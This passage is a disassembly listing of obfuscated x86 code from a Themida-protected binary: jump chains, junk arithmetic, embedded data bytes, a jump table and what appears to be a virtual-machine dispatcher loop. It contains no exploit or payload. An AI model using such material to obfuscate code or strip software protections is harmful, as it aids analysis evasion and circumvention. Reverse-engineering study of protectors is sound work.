ecx, esi dec ecx xchg ecx, esi jmp loc_596508 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0F5h dd 4923AB31h, 97DAE981h, 0CB01ABEFh, 4C38359h, 5C241C87h dd 0C33F381h, 0F3E9C656h, 66FFFFD5h, 0EDEEC581h, 0EF896657h dd 5FFE8966h, 132D665Dh, 0F0296625h, 0FF9CE6E9h db 0FFh ; --------------------------------------------------------------------------- loc_597BB1: ; CODE XREF: Themida_:00597A5Ej sub eax, 6FBA703Bh push esi push edx mov edx, 774A1DAAh xchg ecx, edx add ecx, 0FFFFFFFFh xchg ecx, edx push ecx jmp loc_58E8BC ; --------------------------------------------------------------------------- loc_597BCD: ; CODE XREF: Themida_:0058ECE7j or eax, 55040E58h neg eax xor eax, 1AA1A10h push ebp mov ebp, 0A341ABB1h xor eax, ebp mov ebp, [esp] jmp loc_58E296 ; --------------------------------------------------------------------------- loc_597BE9: ; CODE XREF: Themida_:00591692j add esp, 4 and eax, ecx mov ecx, [esp] jmp loc_5942C0 ; --------------------------------------------------------------------------- loc_597BF9: ; CODE XREF: Themida_:0058E585j sub edi, 4 jmp loc_58B77F ; --------------------------------------------------------------------------- dd 24343166h, 4EC8351h, 0E9242489h, 0FFFFF4A2h ; --------------------------------------------------------------------------- loc_597C14: ; CODE XREF: Themida_:00594698j add ebp, 47FD63F7h add ebp, eax sub ebp, 47FD63F7h add ebp, 4F3A6CB6h push dword ptr [esp] pop eax add esp, 4 jmp loc_59153E ; --------------------------------------------------------------------------- aVhm db 'Vhm|',0 dd 38B1E900h, 0CB30FFFFh, 0FF3F69E9h db 0FFh ; --------------------------------------------------------------------------- loc_597C49: ; CODE XREF: Themida_:00595BE3j add esp, 4 push esi jmp loc_58A45D ; --------------------------------------------------------------------------- loc_597C55: ; CODE XREF: Themida_:0059654Bj sub eax, 4FC95A1Eh push dword ptr [edi+eax*4] push dword ptr [esp] jmp loc_592BDB ; --------------------------------------------------------------------------- loc_597C65: ; CODE XREF: Themida_:00597888j or ebx, 1FA147B2h shr ebx, 1 jmp loc_58C1AC ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 2BD55h, 0E9010000h, 0FFEB26E9h db 0FFh ; --------------------------------------------------------------------------- loc_597C85: ; CODE XREF: Themida_:005911ADj mov edx, 31B152B2h add ecx, edx pop edx jmp loc_58CFC1 ; --------------------------------------------------------------------------- loc_597C92: ; CODE XREF: Themida_:005945CBj jnz loc_59089C push ebx mov ebx, 0FFFFFFFFh add esi, ebx jmp loc_592BA1 ; --------------------------------------------------------------------------- loc_597CA5: ; CODE XREF: Themida_:0058EBC6j pop esi pop dword ptr [esp] pop esp add edx, 2 sub esp, 4 jmp loc_58C0D8 ; --------------------------------------------------------------------------- loc_597CBB: ; CODE XREF: Themida_:0058BF3Aj sub ecx, 1A3025A4h mov [ecx], al jmp loc_5916BC ; --------------------------------------------------------------------------- loc_597CC8: ; CODE XREF: Themida_:0058B935j jbe loc_58B3F5 jmp loc_58D612 ; --------------------------------------------------------------------------- db 68h dd 6ACC00F7h, 0D3F74B5Bh, 0E908EBC1h, 0FFFFE05Eh ; --------------------------------------------------------------------------- loc_597CE4: ; CODE XREF: Themida_:005916C6j mov eax, 42AE666Eh mov ebp, 0E05A776h add ebp, eax pop eax jmp loc_592972 ; --------------------------------------------------------------------------- loc_597CF6: ; CODE XREF: Themida_:0058A84Aj jno loc_58D6C5 xor ebp, 347A4849h jno loc_594719 sub ebp, 4291057Dh jmp loc_5921D8 ; --------------------------------------------------------------------------- db 80h dd 0CC8831E9h, 0CEE95159h db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597D1F: ; CODE XREF: Themida_:005969FEj xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ebp push edx push ebp mov ebp, 5750E80h jmp loc_58F172 ; --------------------------------------------------------------------------- loc_597D35: ; CODE XREF: Themida_:0058C3A3j mov [esp], bx push eax mov al, 26h mov bl, al pop eax push eax jmp loc_594048 ; --------------------------------------------------------------------------- loc_597D45: ; CODE XREF: Themida_:00596715j pop eax add ebp, 1 shl ebp, 2 push ecx jmp loc_58E5C6 ; --------------------------------------------------------------------------- loc_597D55: ; CODE XREF: Themida_:00594151j push esp pop edi add edi, 4 push ebp mov ebp, 3F591169h xchg eax, ebp jmp loc_58E22C ; --------------------------------------------------------------------------- loc_597D69: ; CODE XREF: Themida_:0058B234j jnp loc_58AC50 shl esi, 2 jmp loc_5938EF ; --------------------------------------------------------------------------- loc_597D77: ; CODE XREF: Themida_:005949CEj mov [esp], eax push 7E2Bh mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_58C50F ; --------------------------------------------------------------------------- dd 0E9243489h, 0FFFFC459h, 83C38166h, 0C3016635h, 83EB8166h dd 66A3E935h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597DA6: ; CODE XREF: Themida_:00592364j add ebx, 2D747446h push edx jmp loc_58EF5A ; --------------------------------------------------------------------------- loc_597DB2: ; CODE XREF: Themida_:0058EDEBj mov edi, 413D2EFBh jmp loc_58D883 ; --------------------------------------------------------------------------- dd 782C6866h, 81665966h, 0F21C9E9h, 0FFE4CE82h, 0C18166FFh dd 8966CA32h, 240C8BCDh, 6604C483h, 8B66EB29h, 0C481242Ch dd 2, 0E9C0B70Fh, 0FFFF8ED9h, 0FF24D9E9h, 0EAD14AFFh, 7548CA81h dd 0DAF742ABh, 0FFB968E9h db 0FFh ; --------------------------------------------------------------------------- loc_597E05: ; CODE XREF: Themida_:0058E21Cj xchg edx, [esp] pop esp push 3775h jmp loc_594DE0 ; --------------------------------------------------------------------------- loc_597E13: ; CODE XREF: Themida_:005927ACj push 6524558Ch pop edx jmp loc_594B2B ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8904EC83h, 5153240Ch, 0EF88CFB5h, 0E9240C8Bh, 0FFFFBCD1h ; --------------------------------------------------------------------------- loc_597E38: ; CODE XREF: Themida_:0058BC7Ej mov [esp], edi mov edi, 66FD314Fh jmp loc_5903B3 ; --------------------------------------------------------------------------- loc_597E45: ; CODE XREF: Themida_:00594B59j mov esi, 281138E9h shl esi, 1 inc esi jmp loc_58DED8 ; --------------------------------------------------------------------------- loc_597E52: ; CODE XREF: Themida_:00593888j sub ebp, 159F6B74h pop edx shr ebp, 5 sub ebp, 35305ABh and eax, ebp push dword ptr [esp] pop ebp jmp loc_58FF50 ; --------------------------------------------------------------------------- loc_597E6D: ; CODE XREF: Themida_:005951EFj mov ebx, 3D053847h mov ebp, ebx pop ebx mov edx, 3D053849h jmp loc_58CF65 ; --------------------------------------------------------------------------- loc_597E7F: ; CODE XREF: Themida_:0058A56Bj ; Themida_:0059054Bj shl edx, 1 push ebp mov ebp, 1 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, 24h add ebx, edi push eax push edx jmp loc_58C8DB ; --------------------------------------------------------------------------- loc_597EAB: ; CODE XREF: Themida_:0058DD33j xor esi, 55980443h add eax, esi jmp loc_596ADA ; --------------------------------------------------------------------------- dd 9C2404D2h, 0FF240DE9h db 0FFh ; --------------------------------------------------------------------------- loc_597EC1: ; CODE XREF: Themida_:0058F106j push ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- db 54h, 59h, 0E9h dd 0FFFF6DB2h ; --------------------------------------------------------------------------- loc_597ED0: ; CODE XREF: Themida_:005963BEj not dh dec dh sub dh, 23h jmp loc_58BD84 ; --------------------------------------------------------------------------- dd 66E953ADh, 66FFFF2Fh, 6605E2C1h, 0E903E2C1h, 0FFFFEF98h dd 8106E7C1h, 0F721FECFh, 81E7D17Ch, 0FA646CC7h, 0FF7817Ch dd 312159D0h, 243C8BFEh, 4C481h, 0F5290000h, 0E924348Bh dd 0FFFFF5EAh, 1676C181h, 830F3EE9h, 0FFFF6EF0h, 0CBABE941h dd 0E680FFFFh, 83EF8BA5h, 0C8E904ECh db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597F3B: ; CODE XREF: Themida_:00595CEEj push dword ptr [esp] jmp loc_5969BC ; --------------------------------------------------------------------------- loc_597F43: ; CODE XREF: Themida_:0059549Bj pop edi add eax, 44230C85h sub eax, esi sub eax, 44230C85h mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_596CC1 ; --------------------------------------------------------------------------- loc_597F61: ; CODE XREF: Themida_:00596FF0j mov dl, al pop eax neg dl jmp loc_58A82E ; --------------------------------------------------------------------------- loc_597F6B: ; CODE XREF: Themida_:0058ACC5j jmp loc_58A2CE ; --------------------------------------------------------------------------- dd 0E9B2EE80h, 0FFFF36F7h ; --------------------------------------------------------------------------- loc_597F78: ; CODE XREF: Themida_:0058CA42j not eax inc eax sub eax, 0BA73FD3Eh add esi, eax pop eax push edx mov edx, 6CCA5E18h sub edx, 0D575D43h and esi, edx pop edx jmp loc_59440A ; --------------------------------------------------------------------------- loc_597F97: ; CODE XREF: Themida_:0059127Bj sub ebx, 26473568h sub ebx, ecx jmp loc_58AFD0 ; --------------------------------------------------------------------------- loc_597FA4: ; CODE XREF: Themida_:0058D5B9j pop ecx add edi, ecx add edi, 66FE2553h push eax jmp loc_593BE4 ; --------------------------------------------------------------------------- db 55h dd 0FFBF72E9h db 0FFh ; --------------------------------------------------------------------------- loc_597FB9: ; CODE XREF: Themida_:00590F89j add esi, 117B0109h mov ecx, [esp] add esp, 4 jmp loc_595962 ; --------------------------------------------------------------------------- loc_597FCA: ; CODE XREF: Themida_:0058B12Dj mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub edi, 1FF7741Eh jnz loc_59703D sub edi, 0C0E3F7C9h jmp loc_592777 ; --------------------------------------------------------------------------- db 31h dd 66A0E9F0h, 94B0FFFFh, 50C38853h, 0C688D888h, 4E95B58h dd 87FFFFECh, 0E95C242Ch, 0FFFF737Eh ; --------------------------------------------------------------------------- loc_598018: ; CODE XREF: Themida_:00590B5Bj pop ebx push esi jmp loc_58E5EE ; --------------------------------------------------------------------------- db 87h dd 0E95C2414h, 0FFFFDE2Ah ; --------------------------------------------------------------------------- loc_598028: ; CODE XREF: Themida_:0058F895j sub esp, 4 jmp loc_596914 ; --------------------------------------------------------------------------- loc_598030: ; CODE XREF: Themida_:005958EBj push 4811h mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ebx mov ebx, 58A13B59h sub ebx, 51711A3Bh sub ebx, 730211Ah add eax, ebx jmp loc_58CBDC ; --------------------------------------------------------------------------- loc_59805F: ; CODE XREF: Themida_:00590CC4j pop ecx jmp loc_58C5DA ; --------------------------------------------------------------------------- dd offset dword_5F28CC dd offset byte_5BA363 dd offset aVs+3 db 4Ch, 0FFh, 12h dd 90EB9400h, 74248B7Ch, 0F8h, 21300h, 200h, 100h, 300h dd 74248B00h, 0F8h, 4 dup(0) dd 5A8DB400h, 59897200h, 598DD600h, 59999300h, 5AA2DD00h dd 5A122500h, 5A025B00h, 59B09F00h, 59965D00h, 5A0C3200h dd 59DDD000h, 5A648400h, 599A5200h, 59EEF500h, 5A924A00h dd 5AB33D00h, 5AC46D00h, 5A26C300h, 599B1A00h, 5A4D1F00h dd 5A08DA00h, 5A96B400h, 5A7DC800h, 5A0B0100h, 5AE43D00h dd 5AE99C00h, 5A479200h, 59BF6900h, 5A983000h, 59907400h dd 5A7B4D00h, 5A1E6100h, 5A18C100h, 5A2C9500h, 5A6B7500h dd 5A404A00h, 5ABF7A00h, 5A6F8D00h, 5A942C00h, 59AD8B00h dd 5A529500h, 59F43D00h, 5A970900h, 59AB1B00h, 5A3FD800h dd 5A29D000h, 5990EA00h, 5A239200h, 5A0B4800h, 59D4C200h dd 59E89A00h, 5A3FBB00h, 5A662B00h, 5AD15F00h, 5A490900h dd 59D03100h, 5A5E2200h, 59B00A00h, 5A50E000h, 5A8E3100h dd 5AE58400h, 59B08400h, 59BC7800h, 5AE9BC00h, 5A089500h dd 5A671400h, 5AB7ED00h, 5A7C3F00h, 5ADD9800h, 59AE7A00h dd 5A8C5000h, 59B19D00h, 59E07900h, 5A6BCB00h, 59E2FC00h dd 5ADC3600h, 5A88AA00h, 5A2D0300h, 5AC80F00h, 5A00EB00h dd 5985E200h, 59C24000h, 5AA68400h, 5AC75F00h, 5A161300h dd 59A14B00h, 59A06D00h, 599A7800h, 5A397900h, 5A5DBE00h dd 5A758C00h, 5AF32100h, 5A60F600h, 59B2F900h, 5AA4DF00h dd 59F4EC00h, 5A190D00h, 5995C600h, 5A03EE00h, 5A60D600h dd 5A9C9B00h, 5A03B400h, 59C63F00h, 59E8C100h, 5AD60900h dd 5A563600h, 59A1B700h, 5AE30700h, 59D05000h, 59C66C00h dd 5A56F200h, 5AA09B00h, 5A3B2500h, 5A9CDB00h, 5A350900h dd 5ADC1200h, 59C8DF00h, 5AE81600h, 5ABD6100h, 5A6D9500h dd 59AE7400h, 5A4DF700h, 5AA2A200h, 5AD1C100h, 5AAA3C00h dd 5A098300h, 5A466200h, 5A474900h, 5ADA7800h, 5A2BE800h dd 5AE52F00h, 5A1BDA00h, 5AB85400h, 5AC66C00h, 5A92A300h dd 5A535700h, 59D52000h, 5A4D9500h, 5AADE600h, 59D64000h dd 5A2B1700h, 5ADDFD00h, 59C5D500h, 5A813F00h, 59C88E00h dd 59ED8E00h, 5ABFE500h, 5A92C000h, 5A906500h, 5A10C600h dd 59CFCE00h, 5A8C9400h, 5A0CC100h, 59C4E800h, 5A2B2500h dd 59DEB700h, 5AE08A00h, 59CF7000h, 5A9FA100h, 5A14AD00h dd 5AE75F00h, 59BF8800h, 5A66E100h, 5AF01B00h, 5A522500h dd 5AC40E00h, 5A976300h db 0 ; --------------------------------------------------------------------------- loc_598345: ; CODE XREF: Themida_:005E1128j ; Themida_:005E5D8Cj ... pusha pushf cld call $+5 pop edi sub edi, 7E55EC2h mov eax, edi add edi, 7E55BDAh cmp eax, [edi+2Ch] jnz short loc_598363 jmp short loc_598376 ; --------------------------------------------------------------------------- loc_598363: ; CODE XREF: Themida_:0059835Fj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_598372 ; --------------------------------------------------------------------------- loc_59836D: ; CODE XREF: Themida_:00598374j add [edi+ecx*4+40h], eax dec ecx loc_598372: ; CODE XREF: Themida_:0059836Bj or ecx, ecx jnz short loc_59836D loc_598376: ; CODE XREF: Themida_:00598361j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_598383: ; CODE XREF: Themida_:0059838Aj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_598383 loc_59838C: ; CODE XREF: Themida_:0059867Dj ; Themida_:00598780j ... lodsb add al, 0E5h push ecx sub esp, 4 mov [esp], ebx mov bh, 5 mov cl, 0C4h sub cl, bh pop ebx shl cl, 3 jz loc_598893 push ecx not byte ptr [esp] pop ecx jmp loc_599B67 ; --------------------------------------------------------------------------- loc_5983B3: ; CODE XREF: Themida_:0059B013j push 99E6F38h pop ebx jmp loc_5A7870 ; --------------------------------------------------------------------------- dw 36E9h db 2Fh, 1, 0 ; --------------------------------------------------------------------------- loc_5983C3: ; CODE XREF: Themida_:005A3D72j push ecx mov ecx, 0AD80098h sub ebx, ecx pop ecx add ebx, 3C5E13CCh sub ebx, edi push esi mov esi, 3C5E13CCh sub ebx, esi pop esi add ebx, 0AD80098h pop edi add edx, 9371432h add edx, ebx sub edx, 9371432h pop ebx add edx, 4 jmp loc_59FC9B ; --------------------------------------------------------------------------- db 81h dd 77500BC9h, 0EBF1816Ch, 897FFF71h, 4FE959CEh db 3Ch, 1, 0 ; --------------------------------------------------------------------------- loc_59840F: ; CODE XREF: Themida_:005A2063j mov [esp], ecx push esi mov esi, 7EA74940h dec esi jle loc_5AED46 xor esi, 0A820A029h mov ecx, esi mov esi, [esp] add esp, 4 push esi mov esi, 20F5695Dh sub eax, 3B441546h sub eax, esi jmp loc_5AC089 ; --------------------------------------------------------------------------- loc_598442: ; CODE XREF: Themida_:005A59ECj mov eax, 6FBE0273h xor edi, eax jmp loc_5A097D ; --------------------------------------------------------------------------- loc_59844E: ; CODE XREF: Themida_:005A0C62j pop ebx xor esi, ecx mov ecx, [esp] add esp, 4 and ebp, esi pop esi jmp loc_59BFAE ; --------------------------------------------------------------------------- dw 487h dd 14895C24h, 4A2BE924h db 1, 0 ; --------------------------------------------------------------------------- loc_59846E: ; CODE XREF: Themida_:0059A293j push eax mov al, 10h dec al neg al neg al dec al shr al, 3 add al, 66h add bh, 4Ah push eax mov al, 0E0h sub bh, al pop eax add bh, al add bh, 0E0h sub bh, 4Ah pop eax add dl, bh pop ebx add al, 6Dh add al, dl sub al, 6Dh mov edx, [esp] jmp loc_5A7B1D ; --------------------------------------------------------------------------- db 81h, 0C6h, 8Dh dd 81BCD5DEh, 23711EC1h, 9AC18132h, 1223B51h, 9AE981F1h dd 81223B51h, 23711EE9h, 0C1815E32h, 2, 358BE951h db 1, 0 ; --------------------------------------------------------------------------- loc_5984CE: ; CODE XREF: Themida_:00599C92j mov esi, 30B35510h or esi, 79DD7221h push edx mov edx, 3B793063h and esi, edx pop edx push 5963h mov [esp], ebx mov ebx, 3D1E25C7h xor ebx, 52017B37h add esi, ebx jmp loc_59B0CF ; --------------------------------------------------------------------------- loc_5984FC: ; CODE XREF: Themida_:005A4B9Dj mov eax, [esp] add esp, 4 xchg esi, [esp] jmp loc_59B2A1 ; --------------------------------------------------------------------------- loc_59850A: ; CODE XREF: Themida_:0059C4CBj push esi jmp loc_5A3D3C ; --------------------------------------------------------------------------- loc_598510: ; CODE XREF: Themida_:0059B918j ; Themida_:005A4B01j jz loc_5AD674 shl ebx, 1 jnp loc_5ABFCB jmp loc_5A6310 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78300h, 0E9243C87h, 0B622h ; --------------------------------------------------------------------------- loc_598534: ; CODE XREF: Themida_:005A9161j sub eax, esi pop esi pop ebp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push dword ptr [esp+4] jmp loc_5A30BC ; --------------------------------------------------------------------------- loc_598554: ; CODE XREF: Themida_:005A617Cj add [esp+4], edi pop edi pop edx add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5A70A9 ; --------------------------------------------------------------------------- loc_59856E: ; CODE XREF: Themida_:0059955Dj add [esp+8], eax push esi jmp loc_59929C ; --------------------------------------------------------------------------- loc_598578: ; CODE XREF: Themida_:005A6184j pop esp jmp loc_59B1D6 ; --------------------------------------------------------------------------- loc_59857E: ; CODE XREF: Themida_:loc_59C1A0j push ebp jmp loc_5ACDC7 ; --------------------------------------------------------------------------- loc_598584: ; CODE XREF: Themida_:005A0DBFj and bh, 0F8h and bh, 0ACh add bh, 1 dec bh xor bh, 0F0h or cl, bh mov ebx, [esp] jmp loc_5AB874 ; --------------------------------------------------------------------------- loc_59859C: ; CODE XREF: Themida_:005A96F7j mov edi, [esp] push 7F0Bh mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59A777 ; --------------------------------------------------------------------------- loc_5985BA: ; CODE XREF: Themida_:005A1A0Bj mov [esp], edx push ecx jmp loc_5AEDB4 ; --------------------------------------------------------------------------- loc_5985C3: ; CODE XREF: Themida_:loc_5A3F09j jmp loc_5AED7E ; --------------------------------------------------------------------------- loc_5985C8: ; CODE XREF: Themida_:005ABE12j add esp, 4 xchg ecx, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 jmp loc_5A4401 ; --------------------------------------------------------------------------- loc_5985E2: ; CODE XREF: Themida_:005A3631j push dword ptr [esp] mov edx, [esp] sub esp, 4 mov [esp], ebp jmp loc_5A4DA0 ; --------------------------------------------------------------------------- loc_5985F6: ; CODE XREF: Themida_:005A621Ej mov ebp, 2ADD4FA1h push ecx jmp loc_5AA8E5 ; --------------------------------------------------------------------------- db 80h, 0F5h, 2Bh dd 0E959EA88h, 111F9h ; --------------------------------------------------------------------------- loc_59860C: ; CODE XREF: Themida_:0059C934j jmp loc_5A9A0B ; --------------------------------------------------------------------------- loc_598611: ; CODE XREF: Themida_:005A1799j add ebx, edx sub ebx, 158E7EFBh add ebx, 2EF07147h mov edx, [esp] add esp, 4 jmp loc_5ACFF5 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0A30F665Ch, 0E99C2404h, 0FFFFFD50h ; --------------------------------------------------------------------------- loc_59863C: ; CODE XREF: Themida_:005AF28Ej push esi jmp loc_59A42C ; --------------------------------------------------------------------------- dw 4401h dd 48B0824h, 4C48324h, 4244429h, 4246C81h, 7DD94E74h, 12720E9h dd 0A0C68100h, 296D4916h, 0A0EE81C6h, 586D4916h, 8B243487h dd 1C892424h, 1887E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59867A: ; CODE XREF: Themida_:005A9333j add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_598682: ; CODE XREF: Themida_:0059C0DFj push 2EEEh mov [esp], ebx jmp loc_599680 ; --------------------------------------------------------------------------- db 66h dd 8166E5D1h, 66FC60F5h, 2C8BE829h, 4C48324h, 57D00166h dd 0E7B86650h, 4B4AE928h db 1, 0 ; --------------------------------------------------------------------------- loc_5986AE: ; CODE XREF: Themida_:005A6FF3j inc edx jle loc_5AC737 xor edx, 0A9910682h push eax xor al, 85h push ebp loc_5986BF: ; CODE XREF: Themida_:0059B29Cj push ebx sub esp, 4 mov [esp], ebp mov ebp, 590D143Bh sub esp, 4 jmp loc_59C126 ; --------------------------------------------------------------------------- loc_5986D6: ; CODE XREF: Themida_:005A7B18j pop ebx sub edx, esi pop esi jmp loc_5AADFE ; --------------------------------------------------------------------------- loc_5986DF: ; CODE XREF: Themida_:005A0480j sub ecx, 260B540Ah push esi jmp loc_5A5CDD ; --------------------------------------------------------------------------- loc_5986EB: ; CODE XREF: Themida_:005AD268j push ebp push 5F48h mov [esp], eax push 293D5F75h mov eax, [esp] add esp, 4 neg eax js loc_59ABEA add eax, 8DCF6922h push eax add dword ptr [esp], 72946AA7h pop ebp loc_598715: ; CODE XREF: Themida_:005AF2D7j push ebx mov bh, 25h jmp loc_5A04BE ; --------------------------------------------------------------------------- db 80h, 0CCh, 23h dd 83B28F0Fh, 0E4C00000h, 8AEC8006h, 0C2E8890Fh, 0F4800000h dd 1A08E959h, 46590000h, 5C04EC83h ; --------------------------------------------------------------------------- loc_598740: ; CODE XREF: Themida_:005A5DA6j mov edi, 4 add esi, 5FEB70F2h jmp loc_59DDEC ; --------------------------------------------------------------------------- dd 5F2434FFh, 7BDCE9h db 0 ; --------------------------------------------------------------------------- loc_598759: ; CODE XREF: Themida_:005A31F5j pop edi mov eax, ebp jmp loc_5A061F ; --------------------------------------------------------------------------- db 81h, 0C3h, 10h dd 291DB973h, 0C813E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59876E: ; CODE XREF: Themida_:0059BBA6j push 5DB3h mov [esp], edx mov dh, 0CEh jmp loc_5A43FA ; --------------------------------------------------------------------------- loc_59877D: ; CODE XREF: Themida_:0059E671j mov [esp], ecx jmp loc_59838C ; --------------------------------------------------------------------------- loc_598785: ; CODE XREF: Themida_:005A88A5j pop ecx push ebx mov ebx, 4 sub edx, ebx jmp loc_5A49E1 ; --------------------------------------------------------------------------- loc_598793: ; CODE XREF: Themida_:005A9D65j push ecx mov ch, 0F2h inc ch xor ch, 9Ah sub ch, 1 xor ch, 0F3h add bl, ch pop ecx sub bl, al sub bl, 9Bh sub esp, 4 mov [esp], eax push esp pop eax jmp loc_5A4763 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4EC81h, 0C890000h, 0C8B5424h, 5DEDE924h db 1, 0 ; --------------------------------------------------------------------------- loc_5987CE: ; CODE XREF: Themida_:005A7C15j add edx, ebp mov ebp, [esp] add esp, 4 add ebx, edx jmp loc_5A3ECD ; --------------------------------------------------------------------------- loc_5987E0: ; CODE XREF: Themida_:loc_59CDBFj push esi jmp loc_5A956D ; --------------------------------------------------------------------------- loc_5987E6: ; CODE XREF: Themida_:loc_5A18ADj shr eax, 4 js loc_5A7137 jmp loc_5A8F20 ; --------------------------------------------------------------------------- dd 0FC12F781h, 0FD01E6D0h, 162EE95Fh, 0EE810001h, 58FCF9A3h dd 596AE9h db 0 ; --------------------------------------------------------------------------- loc_59880D: ; CODE XREF: Themida_:005AC4A7j sub esp, 4 mov [esp], ecx push edi push 32AF3475h pop edi shl edi, 4 jmp loc_5A9BDD ; --------------------------------------------------------------------------- aI db ',$½',0 dd 0E5D16B96h, 30E9BE56h, 0F5097B8Eh, 4DD5F75Eh, 0B5BFE9h db 0 ; --------------------------------------------------------------------------- loc_59883D: ; CODE XREF: Themida_:005A28C5j push eax not dword ptr [esp] jmp loc_59A902 ; --------------------------------------------------------------------------- loc_598846: ; CODE XREF: Themida_:00598C4Bj pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp shr ecx, 0Ah push 3891h mov [esp], ebx push edx jmp loc_599EAB ; --------------------------------------------------------------------------- loc_598868: ; CODE XREF: Themida_:005A79DBj pop ecx jmp loc_59F508 ; --------------------------------------------------------------------------- dw 2489h dd 24048124h, 4, 5A2434FFh, 8104C483h, 4C2h, 4C28300h dd 10903E9h db 0 ; --------------------------------------------------------------------------- loc_59888D: ; CODE XREF: Themida_:005AB513j pop ebx jmp loc_5A613F ; --------------------------------------------------------------------------- loc_598893: ; CODE XREF: Themida_:005983A3j push ecx not byte ptr [esp] pop ecx jmp loc_5A69D8 ; --------------------------------------------------------------------------- db 0E9h, 0EAh, 0FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5988A2: ; CODE XREF: Themida_:0059E907j add eax, edi jmp loc_5A76F1 ; --------------------------------------------------------------------------- loc_5988A9: ; CODE XREF: Themida_:0059B3DEj jnz loc_5A951A sub ecx, 6B34794Ah jmp loc_5AA887 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 59E3B850h, 0E9481850h, 16A3Ch ; --------------------------------------------------------------------------- loc_5988CC: ; CODE XREF: Themida_:005AA292j xchg edi, [esp] pop esp push dword ptr [esp] pop esi jmp loc_5A051F ; --------------------------------------------------------------------------- loc_5988D9: ; CODE XREF: Themida_:005A79BCj or ecx, ebx pop ebx push ebp push ebx jmp loc_5A92CC ; --------------------------------------------------------------------------- loc_5988E3: ; CODE XREF: Themida_:005A79F4j push ecx jmp loc_5A7FC4 ; --------------------------------------------------------------------------- loc_5988E9: ; CODE XREF: Themida_:00599AE5j pop dword ptr [esp] jmp loc_5A16B3 ; --------------------------------------------------------------------------- loc_5988F1: ; CODE XREF: Themida_:loc_5A6911j pop ecx jmp loc_5A054D ; --------------------------------------------------------------------------- loc_5988F7: ; CODE XREF: Themida_:005ABF02j jnz loc_598F71 sub eax, 0A6E9BDFAh mov ebx, eax pop eax push ebp jmp loc_5AC1B1 ; --------------------------------------------------------------------------- db 55h dd 4C481h, 5FE90000h db 64h, 1, 0 ; --------------------------------------------------------------------------- loc_598917: ; CODE XREF: Themida_:005A06F5j xor eax, 0F86E6651h push edi mov edi, eax mov ebx, edi jmp loc_5A3308 ; --------------------------------------------------------------------------- loc_598926: ; CODE XREF: Themida_:005A271Aj jb loc_5AABE8 add ebp, 0DBB3D02Bh inc ebp sub ebp, 127AE354h sub ebx, ebp jmp loc_5A2A21 ; --------------------------------------------------------------------------- dd 0BB241C89h, 324F7058h, 5643D3F7h, 0B08FA4BEh, 5EF329CDh dd 815BDE01h, 2EEh, 24348700h, 0A949E9h db 0 ; --------------------------------------------------------------------------- loc_598965: ; CODE XREF: Themida_:005AE290j sub ebp, esi pop esi jmp loc_5AB083 ; --------------------------------------------------------------------------- loc_59896D: ; CODE XREF: Themida_:005A2609j jmp loc_59838C ; --------------------------------------------------------------------------- dw 51ACh dd 0E9F6B450h, 0FFFFFDA1h ; --------------------------------------------------------------------------- loc_59897C: ; CODE XREF: Themida_:005A54B4j neg eax jmp loc_5A65A6 ; --------------------------------------------------------------------------- db 81h dd 5650E7EBh, 1BEE8127h, 0E9682918h, 0CECBh ; --------------------------------------------------------------------------- loc_598994: ; CODE XREF: Themida_:00599E8Dj shr ecx, 7 shr ecx, 5 dec ecx push esi mov esi, 216D4FA1h jmp loc_5A09D7 ; --------------------------------------------------------------------------- loc_5989A6: ; CODE XREF: Themida_:005AB73Cj mov [esp], eax sub esp, 4 jmp loc_5ACE0E ; --------------------------------------------------------------------------- loc_5989B4: ; CODE XREF: Themida_:0059FA35j push eax jmp loc_59E7CE ; --------------------------------------------------------------------------- loc_5989BA: ; CODE XREF: Themida_:005AECA3j mov edx, ebx mov eax, edx pop edx pop ebx sub ebp, eax jmp loc_5A9F4C ; --------------------------------------------------------------------------- loc_5989C7: ; CODE XREF: Themida_:loc_5A17DAj sub esp, 4 mov [esp], edi push ebx push 64C1h mov [esp], ecx push edi mov edi, 199C5B4Bh add edi, 0EC8EBC87h mov ecx, edi pop edi mov ebx, ecx jmp loc_5A412F ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0A0E9240Ch db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_598A03: ; CODE XREF: Themida_:005A335Bj mov eax, [esp] push 575Ah mov [esp], ecx push esp pop ecx jmp loc_5AA86D ; --------------------------------------------------------------------------- db 53h, 51h, 0E9h dd 13678h ; --------------------------------------------------------------------------- loc_598A1C: ; CODE XREF: Themida_:0059F04Bj ; Themida_:005A0E60j xor edi, 58D3BBB9h sub ebp, edi pop edi pop eax sub eax, ebp pop ebp jmp loc_59838C ; --------------------------------------------------------------------------- loc_598A2E: ; CODE XREF: Themida_:005A17A8j add edi, 4449EF2Bh push edi mov edi, 7C306788h jmp loc_5A5CBD ; 